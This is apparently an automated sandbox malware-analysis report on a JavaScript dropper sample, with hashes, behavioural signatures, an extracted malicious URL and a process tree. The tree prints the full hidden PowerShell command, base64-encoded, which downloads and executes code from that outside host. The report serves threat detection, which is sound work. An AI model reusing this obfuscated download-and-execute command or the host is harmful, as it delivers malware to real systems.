Analysis
-
max time kernel
146s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
08/03/2024, 02:37
Static task
static1
Behavioral task
behavioral1
Sample
b842457bada01c946e8dae0b87ea396a.js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b842457bada01c946e8dae0b87ea396a.js
Resource
win10v2004-20231215-en
General
-
Target
b842457bada01c946e8dae0b87ea396a.js
-
Size
66KB
-
MD5
b842457bada01c946e8dae0b87ea396a
-
SHA1
a7191e75caee3b582bc2eafbeafe63d25c9c4462
-
SHA256
797f845ae0fdcf4f55679b7370a20e89ce79a00571bdee3df66ab535914d7008
-
SHA512
afc0c2c2dc37a649f6c84e079334d7a779ec67a2fce53d5709955cee8a44966e39cfbcb1f284981b54a8bfc52e8aed54c0c30a78c1dada2e30de6b1348b0540d
-
SSDEEP
1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oI:59Ry98guHVBqqg2bcruzUHmLKeMMU7Gy
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 7 1500 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1500 powershell.exe 1500 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1500 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3200 wrote to memory of 1620 3200 wscript.exe 85 PID 3200 wrote to memory of 1620 3200 wscript.exe 85 PID 1620 wrote to memory of 1500 1620 cmd.exe 87 PID 1620 wrote to memory of 1500 1620 cmd.exe 87
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\b842457bada01c946e8dae0b87ea396a.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82